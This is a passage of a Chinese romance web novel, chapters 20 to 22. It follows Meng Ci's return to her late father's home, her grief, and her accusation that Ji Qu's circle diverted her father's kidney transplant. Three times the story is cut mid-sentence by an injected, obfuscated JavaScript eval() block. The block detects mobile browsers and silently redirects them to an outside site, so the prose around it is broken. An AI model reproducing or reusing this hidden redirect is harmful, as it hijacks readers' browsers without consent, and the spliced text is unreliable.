看着孟慈一副爱莫能助的模样。 似是低姿态的,季曲用鼻尖蹭了蹭孟慈。 又把人拉回怀里,双臂比之前锁紧几分,埋首在她颈侧,贪婪地吸吐。 “我能不能在这儿睡?” “不能。” 怎么问都得不到想要的回答。 季曲开始耍无赖,对他来说是手拿把掐的伎俩。 “我那屋暖气坏了。” “找前台换一间。” “我喝多了头有些痛。” “你的酒是中午喝的,早该醒了。” “我换了地儿睡得不踏实。” “我身边有人也睡得不踏实。” 话说到这儿,季曲也摸清了孟慈的底儿。 季曲叹气:“我说的都是借口。” 孟慈抬眼:“我知道。” 从温暖怀抱中抽身,孟慈握住门把,瞥了季曲一眼。 意思是让他从门板上起来,赶紧离开。 季曲拉住门把,刚好也摁住孟慈,一个侧身围在孟慈背后,贴近。 “我想和你一起,什么都不干也好。”季曲的嗓子有些哑,像是泡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么今天回来了?妈妈回来没?”李婷是个热心肠,小时候爸妈总是加班,她没少给孟慈送晚饭。 “就我回来,有些事要办。” “哦,去看爷爷了吗?” “还没呢,没来得及。” 知道孟慈家的情况,李婷作为外人也不好多说什么,只能讪讪一笑,然后冷场。 “您先回去吧。” “哎,行,那我先走了,小孙子还在家等着呢。” 老小区就是这样,熟人多。 没一会儿又碰到爸爸的同事,不免又一顿寒暄。 还没等孟慈说什么,那位就握着孟慈的手先流了两行泪,倒整得孟慈哭笑不是。 正尴尬时,肩上突然多了一件外套,季曲极其自然地把孟慈的手解救出来,自己握上去,“谢谢您惦记。” “这是?”爸爸同事的泪还没来得及擦干。 “我是小慈男朋友。”季曲说谎连脸都不红。 “哎呦,我们小慈谈了这么好的男朋友,哎呦,真是可惜老孟没看到。”爸爸同事说着说着又悲从中来。 季曲往前一步,将孟慈挡住,自已应付,直到把人送走。 “你怎么来了?” “接我女朋友吃饭。”季曲把孟慈肩上的外套拢紧,又细心地将长发抽出来,“走吗?还是你想回家看看。” 其实早就算不上家了。 孟慈抬头看了眼六层,阳光正刺眼。 “吃饭吧,我饿了。” “好。” 20. 第 20 章 中午季曲定了家私房菜。 位置偏僻到连孟慈这个本地人都不知道。 极具民族特色的建筑色彩明艳,在冬日枯黄的地上硬生生造出一抹瑰丽。 “下午出去玩?”季曲夹了一块鱼肚子上的肉,正在挑刺。 “这是我老家。”孟慈有些无语。 “那怎么了?”季曲把处理好的鱼肉夹到孟慈碗里,肉质紧实,一点都没散。 孟慈显然没什么胃口,筷子在自己的碗里挑拣半天才往嘴里送一口。 两个人面对面坐着,季曲又挑了一块烤得冒油的羊排沾满佐料递到孟慈盘子里,一样受了冷落。 可能是从回了海市之后就没好好进食。 孟慈的肠胃逐渐不适,闻到太过油腻刺激的味道不免反胃。 连忙端起小碗里的酸辣汤压了压,还没等放下碗就对上了季曲探询的眼。 “怀上了?” “不好笑。” 孟慈面无表情地放下碗夹了一筷子菠菜。 “那怎么了?” “不舒服。”孟慈自觉吃的再多不一定会吐,便放了筷子,“想回去睡觉。” 季曲再次发问:“不想逛逛?” 孟慈歪头:“睡醒再说?” 孟慈没什么胃口。 季曲也跟着放了碗筷。 他原本就没什么口腹之欲。 华婉安排的营养师配的药剂足够提供他身体必须的一系列营养物质。 季曲饭后去找老板,让孟慈先上车等着。 离开时又把外套披在孟慈身上。 孟慈总是不喜欢穿得多或厚,她讨厌臃肿。 季曲也就习惯了多带一件外套,或者把自己的脱下来给她。 毕竟男人抗冻一点。 车子停在整个景区的最外侧。 孟慈沿着栈道往外走,风挟着粗粝的沙吹得她几次驻足。 可能是长大了,逐渐懂得大家为什么思乡。 即使什么都不做,站在故乡的土地上吹吹风也是好的。 孟慈没着急上车,而是站在枯黄的草地上望着远方接连不断的山而出神。 季曲和饭店的老板简单打了声招呼。 自己之后还要在这里宴请当地的合作方,提前提了些备菜要求。 刚出门就看到孟慈站在离车不远的野地里。 枯草淹没她的短靴,露出一截细白的小腿。 再往上是白色裙摆,和季曲的黑色大衣压在一起。 层层叠叠地与风荡在空中。 风掀起她的发,挑露出高挑的眉弓,柔和的棱角,殷红的唇成为她周身除黑之外的唯一色彩点缀。 季曲碾灭手中的烟,站在孟慈身后审视着,过了一会儿才开口:“孟慈,我们回去了。” 孟慈回头,季曲已经走到跟前,伸出手,“地上碎石子多。” 思衬几秒,孟慈递上自己的手。 季曲的手掌温暖而干燥。 他轻轻一握,包裹住孟慈已经冰凉的指尖,下滑,直到握住孟慈的整只手。 回到酒店后,孟慈觉得头发被风吹得发锈,下意识得觉得自己身上也都是沙子,干脆去浴室洗澡。 收拾好吹干头发出来之后,发现季曲竟然穿着睡衣躺在自己的床上。 见她出来极为贴心地掀开了另一侧的被子。 孟慈皱眉:“你怎么在这儿?” “就只记得晚上锁门?”季曲笑,明着耍赖。 “回你自己房间。” “辛苦办事,没有酬劳?” 怎么人岁数涨了,脸皮也跟着更厚了。 “或者你先睡?我去客厅,等你睡着再进来。”季曲一副悠哉模样,反倒整得孟慈手足无措。 “…随你。” 孟慈也知道自己一连拒绝这么多次,属实也没什么意思。 她绕到另一边,掀开被子上床,靠着床边,背对季曲。 看出来孟慈的心情始终不好。 季曲没敢留她自己一个。 餐桌上喝的那杯米酒渐渐起了作用,加之刚刚在浴室里受到热气蒸熏。 孟慈躺下没一会儿便睡意上涌,翻了个身便失去了意识。 季曲靠在床头。 看到孟慈的姿势不断调整。 直到一只手向里勾着垫在下巴处,就知道她终于睡熟了。 这么久没见孟慈性子冷了不少,但习惯倒是还保留着之前的。 遮光窗帘严严实实地把落地窗挡住,截停所有光线。 微弱的床头灯打在孟慈身上。 季曲探起身按下开关,顿时黑暗一片。 轻轻躺下。 季曲的胳膊从孟慈颈间穿过。 往回一勾,惦记了这么久的人终于落了手。 再柔软不过的身体。 季曲低头,找到孟慈的额头轻轻啄吻。 孟慈的呼吸间还带着微弱的酒气,轻轻重重地喷洒在季曲的肩膀上,夹杂着刚刚洗过澡的樱花精油味,季曲也跟着闭上了眼。 太阳西沉,光被城市的掩埋。 霓虹闪烁,逐渐代替日。 孟慈睡醒时感觉到被人圈在怀里,季曲的呼吸打在她的后脖颈处,有些烫。 睡着还好,清醒后周遭的感知逐渐回炉。 不适感越来越明显。 孟慈动了动胳膊。 “醒了?”季曲嗓音也有些沙哑。 还没等孟慈回话,季曲就先找到了孟慈的太阳穴,品着力度按揉。 孟慈喝酒之后容易头疼,无关醉醒,老毛病了。 “重吗?” “还好。” 季曲就这么揉着,一直到孟慈喊停。 室内昏暗,光线无法追溯。 季曲用一只手撑着,上半身支起来些。 孟慈换了姿势,右半个身子压得有些麻,刚刚躺平,季曲就凑上来。 日子过得像旋转木马一样,起起伏伏,兜兜转转,身边的人还是季曲。 季曲的左手放在孟慈脸侧,一寸一寸地抚摸。 从脸颊到鼻梁,从眉心到唇珠。 拇指离开双唇的同时,季曲低头,吻落上来。 和他的抚摸动作一样轻柔。 干燥的唇瓣叠在一起,似有若无地分离又触碰。 孟慈勾住季曲的脖子,他脑后的短发有些剌手。 季曲一愣,孟慈也跟着停下。 近在咫尺的人,却看不清对方的眼。 好在季曲手下的腰肢明显地软了。 他刚想低头加深这段吻,手机却不适合地响起。 “接电话。”孟慈看看床头已经亮了的屏幕,借此看清有些情欲上头的季曲,眼底的火俨然已经烧起来,泛着幽幽微光。 “不用管。”季曲把孟慈的脸掰正。 “薄小姐的。”孟慈推开季曲,从床上起身走进浴室。 季曲看着浴室门关上,无奈从床头捞起手机放在耳边。 薄娴那边询问了一番项目进度。 毕竟是她牵的线,季曲听起来有些烦。 薄娴耳尖,察觉到不对,“怎么?不顺利?” 季曲否认:“没有。” “那怎么听起来你有点不高兴?” “我不一直都这样?” 薄娴被呛到,有些不快:“…或者,我打扰你了?” 那边没音,代替的是清晰的火机响。 “对不起,我的错,毕竟现在这个时间…也不会有人有兴致做这些。” 薄娴也恼了,语调陡然拔高,利落挂了电话。 季曲咬着烟起身。 走到窗前用手指撩开窗帘一个缝,天已经黑了。 过了半晌,孟慈走出来,在行李箱里翻翻找找,拎出来一件黑色羊尼裙。 她被背着季曲脱掉睡裙。 伸出两根指头在细细的肩带向两边勾,毫不扭捏。 丝绸布料下落,层层叠叠堆在孟慈脚。 深色裙身衬得她的皮肤更加冷白。 季曲就站在原地打量着孟慈。 看她纤细的腰肢和蜿蜒的曲线。 手指间夹着的香烟自顾自地掉了一截灰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426924|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孟慈套好裙子,拉上腰侧的拉链,右手穿过后脖颈把长发捞出来。 她转身走到季曲跟前,接过了他指间燃着的香烟。 吸了一口,有些冲。 孟慈皱皱眉,又吸吐两口。 还是不适应,随之还给季曲。 抬头时对上季曲略有意外的眼。 “薄小姐给你打电话干什么?” 接过孟慈抽过的烟,季曲夹在指尖沉思几秒。 看她的动作,不像是新入门。 明明是讨厌烟味的人。 再抬头时孟慈依旧看着他,等他的回答。 季曲把夹烟的手往远挪了挪:“没什么,问问项目进度。” “你们合作?” “不算是,她之前的合作对象刚好和我的合作对象惯熟,就在中间搭了根线。” 孟慈点头,又问:“薄小姐最近怎么样?” 被连续的发问搞得有些懵。 季曲不知道孟慈从什么时候开始和薄娴这么…“熟”? “还不错,没什么变化。” “我还以为。”孟慈明显地停顿一下,“你会和她结婚。” 孟慈离开的那年,季曲臂弯里挽着的是薄娴。 兜兜转转。 在安家的晚宴上,季曲身边的还是薄娴。 季曲挑眉看着孟慈缓缓地说:“她不合适。” “沈棠溪合适?” 孟慈抱着胳膊,头发有些经过摩擦起了静电,飘在空中,配着窗帘打进来的微光,倒有些可怖。 季曲伸手去压,不出意外地被电了。 虚黑的空中炸出白色的光束,噼里啪啦的响。 “她性格和我妈合一点,八字也是,薄娴从小就和我不对付,好一会儿打一会儿,时间长了我妈受不住。” “你娶媳妇是给你妈娶的?” 季曲笑,没否认,“不然…娶你怎么样?找个时间咱们合合八字?” 孟慈伸手打在季曲手背上,瞪他一眼转身抓起包和大衣出了门。 “去哪?” “别管我。” - 下午睡得沉,生物钟乱了。 孟慈从车上下来之后没立马回家,而是去旁边的便利店买了瓶冰水。 冰冷的液体进入身体,孟慈觉得五脏六腑都被舒展。 直到太阳穴不再突突地跳,孟慈才开始往家里溜达。 白月光穿过干枯的树枝打在地面,形成斑驳的影子。 孟慈跨过黑色,只踩白色行进。 像是在跳格子。 小时候小区还是水泥地。 用红砖头的碎块或者粉笔头就能画出痕迹。 现在换了统一的砖石,有些痕迹早就消失不见了。 一进单元门就能闻到各家的饭菜香味。 正值晚上六七点钟,一家最热闹的时候大致就是现在。 忙碌一天、苦读一天、奔波一天,终于都回家了。 这个小区是孟慈最小的时候生活的地方。 上了初中之后孟擎的事业运突然爆发,三年里就搬了四次家。 房子一次比一次大,行李一次比一次多。 后来初中毕业,孟擎和裴沛离婚。 孟慈跟着裴沛离开。 只有逢年过节的时候才会回来。 最后一次回家找孟擎过年,他已经搬回了最初的小家。 行李少的还不如当初搬离时的一半多。 孟擎的生意出了问题。 被亲近的兄弟下套骗到公司倒闭。 离婚的时候大部分财产都给了裴沛,只能用周身的一切换钱补偿给公司的员工们。 忙忙碌碌大半辈子,到头来还是一身轻。 孟慈出国前专门回来一趟。 吃了顿咸淡失调的家常饭。 留下句“下次再来”和一张银行卡。 后来某天,她接到裴沛的电话。 说孟擎尿毒症晚期,时日无多。 电梯门缓缓打开。 孟慈深吸一口气,迈出电梯,掏出钥匙开门。 21. 第 21 章 屋内的布置没变。 家具被防尘布遮盖。 孟慈开了灯,慢慢地看,在每一个平米都停留。 红木茶几的边角落了漆。 孟擎后来自己买油漆补过,但是干了之后的颜色与周围的格格不入。 不过看久了也没什么。 厨房的餐桌是能折叠的。 小时候亲戚们来做客,孟擎就会把桌子打开,能供十人左右用餐。 现在是合着的,四四方方的一小块。 其中的一支餐椅明显要比另外三支更旧一点。 凳腿有些歪。 因为孟擎总是一个人吃饭。 孟慈大学的时候,有人给孟擎介绍了一位阿姨,两个人处了一段,失败了。 听说对方嫌孟擎不愿意把财产交出来给自己打理。 听到这些的时候孟慈还打电话笑话孟擎,这有什么好藏的,毕竟他手里那点存款也只够在海市买一套房子。 孟擎笑,说自己的钱是留着给孟慈当嫁妆的,当初也藏了不少私房钱,不能随便交出去。 睹物思人。 孟慈的眼眶渐渐湿润,在她自己都没察觉到的瞬间。 怎么能不想念呢? 毕竟孟慈是活生生的人,孟擎也是活生生的人。 两个人血脉相连。 走到卧室。 孟擎床头之前摆着的床头柜被简单的置物架替换。 原本和裴沛床头的那支床头柜是一对儿。 柜子的容量太小,摆不下治疗所需的那么多药盒。 而且抽屉开开合合的也不方便。 裴沛干脆给他换成五层高的置物架。 药品排列一目了然,拿取也方便。 孟擎病入膏肓的时候,是裴沛回来陪着的。 按灭开关,关上门。 孟慈靠着墙缓了一会儿。 直到呼吸不畅的感觉得到缓解,她才抬脚走向自己的卧室。 女孩子的卧室要装修成粉色,好像是社会共识。 即使孟慈并不喜欢粉色。 长大之后,窗帘、床品、地毯统统按照孟慈的意愿换成了灰白色调。 但是大件的床骨、书桌、衣柜的颜色没改变。 坐在和书桌配套的转椅上。 弧度夸张的椅背其实坐久了并不舒服。 而且还会一直往下滑。 书架上还摆着孟慈之前学过的课本和看过的课外书。 大部分都包着书皮。 孟擎的手很巧。 包出来的书每本都书角贴合,书脊顺滑。 孟慈顺便抽了一本出来。 上面堆满灰尘,粒子在空中飞,迷了孟慈的眼。 她把书放回原处。 从包里拿了纸擦了好一会儿眼睛,磨痛感才消失。 从椅子上起身,把椅子推回原位。 孟慈的注意被墙上的奖状吸引。 在良好的教育培养下,孟慈从小就是好好学生。 成绩名列前茅不说,兴趣才艺也样样拿得出手。 因此攒了满满一墙的奖状。 “孟慈同学:在本次期末考试中获得年级第一名。特此表彰,以此鼓励。” “孟慈同学:在全市物理竞赛中获得一等奖。特此表彰,以此鼓励。” “孟慈同学:在全校钢琴比赛中获得一等奖。特此表彰,以此鼓励。” “孟慈同学:在本学年表现优异,获得“三好学生”的称号。特此表彰,以此鼓励。” “孟慈同学:……” 无数次站在领奖台上,无数次捧起奖杯与鲜花,无数次看到孟擎和裴沛并肩站在台下欢呼鼓掌。 孟慈突然开始想家。 虽然她现在就在家。 她想的不止是家。 她下意识地抬高手触摸奖状。 劣质的彩色纸张总是掉色,摸起来手感生涩。 毛笔写过的地方会光滑一些。 贴近嗅嗅,还有墨香。 沿着奖状一张一张的摸,一张一张的看。 孟擎太宝贝这些,没有一张出现折痕或者破损。 其他的就算了。 唯独这些奖状孟慈想带走。 在书桌抽屉里的文具盒找到小刀。 孟慈动作轻柔地沿着纸张和墙面的缝隙割。 胶水糊的太久,没割一会儿孟慈就觉得眼酸手也酸。 割了半个小时。 下面两排的奖状都已经整齐完好地摞在一旁。 坐在转椅上活动酸涩的手腕。 孟慈看了眼时间又继续。 剩下的有些高,需要站在椅子上才能够到。 又过了一个小时,终于只剩下最后一张。 孟慈的额间已经渗了不少汗。 她用纸巾擦了擦。 一鼓作气推着椅子来到最后的奖状面前。 “孟慈小朋友:在本次汇演中获得特等奖。特此表彰,以此鼓励。” “幼儿园的奖状还留着。” 孟慈看着上面的内容兀自笑了出来。 那是孟慈第一次上台表演。 钢琴曲还没练熟,手指不听话,怎么都跳不对琴键。 到最后孟慈干脆两手一插腰气鼓鼓地下了台。 最后还是裴沛在半路把人拎回去,坐在孟慈旁边。 陪着孟慈一个音一个音地弹完整首曲子。 想到这儿,眼底又开始泛酸。 孟慈眨眨眼,再次投入工作。 可能是时间太久,这张奖状的胶水糊的是其他奖状的几倍,四条边几乎都粘在墙上。 孟慈的额角渗出汗滴。 先割开一个侧边,然后割最下面。 割到一半,突然受到阻力。 孟慈加了几分力。 没几下,“咣当”一声,有什么东西掉了地。 孟慈停下动作低头眯着眼睛看。 头发垂了几缕下来挡住脸。 她用手背蹭开。 灰白色地毯上落了两张卡片。 一张是孟慈出国前留下的。 另一张更旧,卡面是生肖图案。 孟慈在心里默算。 刚好是孟擎和裴沛离婚那年的年份,银行特供。 浅薄的眼眶兜不住决堤的泪,泪珠成串砸下来。 大的像送给妈妈的那串朱砂。 只不过是透明颜色。 长绒地毯的灰色被染成更深一层。 像是池塘表面泛起涟漪,圈圈层层,在荡。 孟慈跪坐在地上,捡卡的手忍不住颤抖,尝试了几次才拿到面前。 孟擎真的给她准备了嫁妆。 在负债累累时。 在病痛入体时。 都想着要给自己留一笔嫁妆。 在大脑里漂浮断续的记忆突然放大至数倍,一重重地朝孟慈压过来,堵的人透不上气。 抱歉,抱歉,抱歉…还是抱歉。 孟慈把头埋进胳膊,像是磕了一个深深的头。 呜咽声止不住地往出传。 她蜷缩成小小的一团,成为与这个房间浑然一体的静物。 被时间遗忘成为漫长童年记忆中的偏远一隅。 冬天的月亮多是冷白。 落在地上,像是满地碎银。 一直到光穿过玻璃窗撒了满室。 孟慈才调整好自己。 她把倾泻而出的情绪整理收拢,装到身体里。 抱着一沓不算沉重的奖状离开。 脚步比来时轻了不少。 孟慈踏出楼的那一刻深吸了一口气。 凌冽的冷空气猛地钻入心肺,像是把沾了陈醋的刀子,直直地捅进去。 僵直地迈着步子往外走。 路面被分成两半。 一半是各家各户的灯穿过楼射在地上。 一半是枯树筛过冷寂的月色投在地面上的遗留。 孟慈沿着分界线,在小区门口的马路上,看到第三种。 路灯由高而下投射出一片圆形的炽黄笼罩在漆黑车身。 季曲曲着一条腿靠在车侧。 夹着烟的手指冻得通红,抵得上猩红的烟。 似乎是心灵感应。 季曲抬起薄薄一层的眼皮看向孟慈。 然后立马捻了烟穿过马路走到孟慈身边:“冷不冷?我来接你。” 自从孟慈回来,季曲的烟瘾又犯的严重。 他自觉控制,却没什么效果。 驼色大衣包裹着单薄的孟慈在冷风中摇晃。 她没说话,只是直勾勾地看了季曲一会儿。 然后说自己还要逛逛。 便把从家里拿的物件,连同包一起扔在季曲的车子后座。 季曲没拒绝,跟在孟慈身后。 他的步子大,总会碾上孟慈的步速,然后再放慢。 一连走过两个路口,孟慈才开口,还带着浓重的鼻音:“吃晚饭了吗?” 季曲回答:“还没。” “我请你吃好不好?” 孟慈回头,眼眶还是红的,眼尾微挑,但却脱了些寒。 她带着季曲进了路边的一家面馆。 大堂摆着约□□张木桌,上面有日积月累的油垢和划痕。 孟慈熟悉地点单。 然后抽出几张纸叠在一起对桌面进行二次清洁。 用热茶水烫过餐具才送到季曲面前。 “他家环境一般,但是味道很好的,我从小就常来吃,爸爸妈妈有时候都忙,就给我钱让我自己来点。” “和我们家里的比呢?” 孟慈倒水的动作顿了一下,忽略季曲话里的亲昵,“说实话?” “当然,我每个月给他们开不少工资。” “你自己尝尝就知道了。” 面馆的主人是一对夫妻。 妻子负责前台的点单收银,丈夫负责后厨的烹饪煮制。 汤面就那么几种浇头,也符合大家的口味。 再就是卤制食品,配面吃的。 面食上的快。 老板娘上菜时多看了孟慈几眼。 像是认出了人,但也没敢确认。 扒好茶叶蛋放进小碟子递给季曲一颗。 孟慈再抬头时对上季曲稍显疑惑的眼。 孟慈:“怎么了?” 季曲:“老板娘认识你。” 孟慈点头。 看着低头小口吃面的孟慈,季曲略微意外,“我还以为你是专门来看看老街坊。” 孟慈低声说:“认出来事多,又少不得要寒暄几句,而且还不会收钱。” 也是这个道理。 孟慈断断续续的吃了回到海市之后最舒服的一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432342|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 鲜香的面汤从胃暖到脚,就连头发丝都是满足的。 季曲吃了两口便放了筷子。 他晚上习惯只食三分饱,然后用各种补汤药剂填满。 不过他吃完了孟慈亲手剥的茶叶蛋。 结账时季曲没抢。 乖乖地等着孟慈结完账后跟在人身后离开。 屋外的气温比刚刚又下降。 但是孟慈却不觉得比刚刚冷,吃了饭感觉沉甸甸的。 又走了一会儿。 孟慈放弃大路拐进一条小巷。 连路灯都亮得不全。 季曲伸手护在孟慈左右。 黑灯瞎火的可别再摔上一跤。 没几分钟,面前豁然开朗。 季曲扶着孟慈迈上到膝盖处的石台,往四周一扫,是个小公园。 只不过冬夜里几乎没什么人,只剩下孤零零的长椅和树。 孟慈沿着小径东走西走,找到一片空地,大多都是些破旧的家具。 没有椅背的木椅、扶手破烂的沙发,被涂得五颜六色的油桶,还有一块少了半只腿的白板。 不过显然孟慈的目标不是这些。 她直直地穿过这些“路障”,走到一面墙下。 “找找吧。”孟慈仰着头看墙上的字迹。 “有你的?”季曲和孟慈并肩站着。 孟慈点头,季曲侧脸去看,她眉头终于放松。 其实孟慈的字很好认,她练过小楷,娟秀清婉。 她喜欢读书,五花八门的书。 从专业书籍到随笔杂记。 然后用各色的笔在空白处记录些什么。 之前季曲家的书架藏书过千。 孟慈无聊时便随便抽一本。 一直到现在季曲家里还有孟慈只看了一半的书。 笔记也戛然而止。 墙上的笔迹重叠,像是长年累月堆积而成,几层颜色彼此压制。 加上天黑,季曲找的有些眼酸。 拿出手机打开照明,细细地看,没一会儿季曲就找到了。 短短的一句话,写在旧墙的最边角。 不算太过稳重的笔锋,黑色的笔迹,在一众稍显幼稚的字体中已经有了几分出挑的意味。 “我一定要去罗马。”季曲念出来,“你的愿望?” “差不多吧,初中的时候。”孟慈回忆道。 季曲打开相机拍照留存,然后转头和孟慈说:“我年前能休息一段时间,陪你去?” 再平常不过的一句问,孟慈笑笑:“我其实也不是那么……喜欢那里。” 季曲点头,等孟慈的下文,她今晚似乎很想要倾诉些什么,即使总是词不达意。 “初中的时候,语文老师好像很喜欢用这种比喻——条条大路通罗马。” “我就想,这么修这么多条路,想方设法都要抵达的,一定是好地方。” “所以就写了这句,后来长大了才知道,每个人有每个人的“罗马”,也就不想着非要去一趟了。” 孟慈娓娓道来,眼神落在墙上,明明在说自己的事,但又像在转述别人的事。 “那你的“罗马”在哪?”季曲问。 “还没找到。”孟慈想了想才回答。 “需要我帮忙吗?” 孟慈终于收回视线,看着季曲,一贯清冷的眼底好像有什么正在层层坍塌。 季曲以为孟慈还在和自己生气,为了之前的事。 但是忠诚这种品质,可能在现代社会只能从狗身上得到。 对人来说,想都不要想。 克制住又想从裤兜里掏烟的冲动,季曲衡量了一番能支付的筹码,再次开口,“这次我能保证……” “我爸是尿毒症死的。”孟慈打断季曲,呼出一口白气,融在冷肃的空气中,“发现的时候已经是晚期,我妈回来陪他四处求医,只能肾移植,一直到找到合适的肾源才告诉我。” “我回来的时候,我爸已经在病床上躺了小半年了,一进病房,我都没敢认。不过幸亏,幸亏有好心人捐赠,匹配点位几乎达到百分之百。” “结果移植手术前一天,院方临时通知我们之前的那个肾源没了,但是能给我们换一个新的,我爸已经都准备进手术室了,我们能说什么呢,当然是好。” “手术很成功,但是没过一周就出现排异现象,我爸就这么没了。” 季曲被打断后便安静地听着。 他眼看着孟慈的眼眶又落出仿佛无尽的泪,刚伸手去擦,就被孟慈接下来的话钉在原地,像是钢钉从头骨凿入,随着孟慈的嘴唇闭合,一寸寸地钉在胸腔、腹股、双腿、脚底,然后连接到湿冷生硬的土地。 “要是能换第一个肾源,可能不会这样,后来机缘巧合,我听说和我爸做手术的同一天,隔壁的国际部,也进行了肾移植。” “哪有那么巧的事呢,我们托人联系的专家,也突然说有急事,给我们推荐了其大夫主刀,然后我看到他当天从国际部的大楼走出来。” 黑雾渐散,白月再次出现,残余的黑叠在月身四周,透出诡异的红。 孟慈疼到呜咽,她按着抽痛的心脏,转身望着季曲一无所知的表情,更崩溃,更绝望。 “季曲你是真不记得?” “你那天也在啊,还是你送那位专家离开的。” “薄娴的叔叔,现在身体还好吗?” 22. 第 22 章 亲密关系能满足某些片刻的欲望需要,但也会让旧伤复发。 孟慈其实没想过和季曲陈述这些“陈芝麻”的往事。 因为她没想过两人能再见面,或者说没想过季曲会回头。她从没对自己自信至此。 看着面前陷入僵滞的季曲,孟慈突然觉得轻。 她挥开季曲的手,用衣袖草草擦干脸颊的泪。 原来再昂贵的布料经过泪水浸透都会变得干硬。 或许是因为那句更古不变的定理。 得不到的才有意义。 在季曲顺风顺水金光闪闪的人生中,自己像一只误闯的乌鸦,一身漆黑与周围的高洁格格不入,拘谨地立在枝头,也许就是那么一点与众不同,才让季曲念念不忘。 第二天孟慈退房离开的时候,季曲已经连夜离开,他留下的便签和早餐一次送到孟慈房里。 【临时出差,回北市联系。】 昨晚孟慈睡着后北方落了场大雪,大到酒店门口的松树都被压折。 飞机停飞,公路封路。 孟慈只能乘高铁,买票时页面却提示已经购买过本趟车次。 打开拦截的垃圾信息,一连串的行程通知。 孟慈滑动页面,昨晚十一点左右,季曲给自己定了今天一天的所有回北市的高铁票。 那个时候,应该刚开始飘雪。 车窗外的景物极速后退,孟慈拉上遮光帘,太阳落在皑皑雪层,反射的光刺得人眼痛。 — 说来也巧。 不是季曲逃避,昨晚送孟慈回房后季澈打来电话,问季曲有没有时间。 有一个国家级的非遗公益项目需要出资出力。 两人的工作领域不同,明面上井水不犯河水,能让季澈主动,想来也是重要且不得不去。 展览活动办在南方的一座古城,小桥流水,吴侬软语。 季曲飞到这边后一连待了小半个月。 不是出门考察项目就是参观接待,烟酒沾的比粮食还多。 除了第一天见到季澈,后来干脆就找不到人。 一直到项目开展当天,季澈才穿着深色夹克在人群簇拥下出现。 媒体记者早就站好机位。 官方的活动,企业的投资,国内的非遗传承人,国外的研究学者齐聚一堂,差点连准备好的礼台都站不下。 晚上的晚宴活动,季澈因为身份问题不便抛头露面,只能由季曲代替交际。 几圈下来,胃里又蓄满酒精。 季曲和孙谦打了眼色示意,孙谦适时地拿着手机插进,说有急事要季曲处理,这才有喘口气的机会。 穿过长廊,走到酒店的后花园,找了处亭阁休息。 古风建筑的花园式酒店,去哪都是雕梁画柱,鲜花满园。 季曲坐在长椅上解开外套的扣子,深深地吐了口酒气。 手机震动,掏出一看是季澈的消息。 “喝多了?” 抬眼四处看看,发现季澈站在不远处,脸上也有不少酒气。 “季主任酒量退步不少啊。”季曲看着季澈落座不免调笑。 “季总也没好到哪去,半场就偷溜出来?”季澈从口袋里掏出两粒药丸,“解酒的,你嫂子给我带的。” 季曲摆手,点了根烟,说自己用不着。 季澈笑笑,说还是年轻,自己像季曲这个岁数的时候,也是百杯不倒、千杯不醉。 “你才多大,就开始整什么英雄暮年。” “奔四的人喽,你嫂子说我白头发都多了不少。” “我二十就有白头发了。” “你那是血热,从小就闲不住,太闹腾,爷爷打你打断的拐杖还少?” “爸妈就给我生成这种性子,能怎么样?” 季澈笑笑,又问说起华婉最近身体不太舒服,连一月一次的烧香都没去。 季曲眉毛一挑:“被我气的?” “你有那么大本事?” 问完这句,季澈顿了一下,然后笑意更深,说季曲还真有。 又坐了一会儿,两人聊起元旦要在哪过,是回家还是去季老爷子那儿。 季曲说自己孤家寡人一个,哪都没差。 说到这儿,季澈突然变得吞吐。 季曲看出来,问:“到底什么事?和我有什么不好意思的。” 季澈顺坡下驴:“嗨,也不是什么大事,你嫂子今年新招了个女博士,挺好一小姑娘,上次帮我们去幼儿园接了一次欢倾,送回来的时候正好和妈碰见了,就聊了两句。” 季曲:“然后呢?” 季澈:“妈挺喜欢的。” 季曲:“哦,那妈想认个干女儿也行啊,我没意见。” 季澈笑骂了句少贫,季曲那边已经站起身,准备离开。 “见一面再说?” “不见,麻烦。” “那不然薄小姐?你们俩青梅竹马的,小时候两家没少说给你们订娃娃亲,你们要是能成,咱们两家不就是亲上加亲?” “人家薄家好不容易养得这么好的两个小姑娘,凭什么都嫁给咱们家?走啦,家里见吧。” 季曲背对着季澈抬手挥挥,消失在游廊的转弯处。 晚宴一直到近十二点才结束。 季曲让孙谦给人们都打点好,回去休息的,继续找乐子的。 他得先回房间,还有个跨国会议要开。 彻底结束工作已经是凌晨三点半,再半小时天都要翻白。 季曲洗了澡出来反倒精神不少,酒精带着后脑勺痛,甩了甩还在掉水的发丝,他从茶几捞起烟盒走到阳台。 酒店室内禁烟。 倚在栏杆上,夜静的连绕着酒店的溪流声都能听到。 从烟盒里咬了根烟出来,用手拢着火机打火,微弱的火苗点燃烟草,飘起袅袅白烟。 季曲连着吸了几口,指腹掐着眉心按捏,脑子清醒不少。 深夜,大脑神经陷入疲惫,换成情绪主导,所有的疑问变成一口浊气,从肺里吐出去。 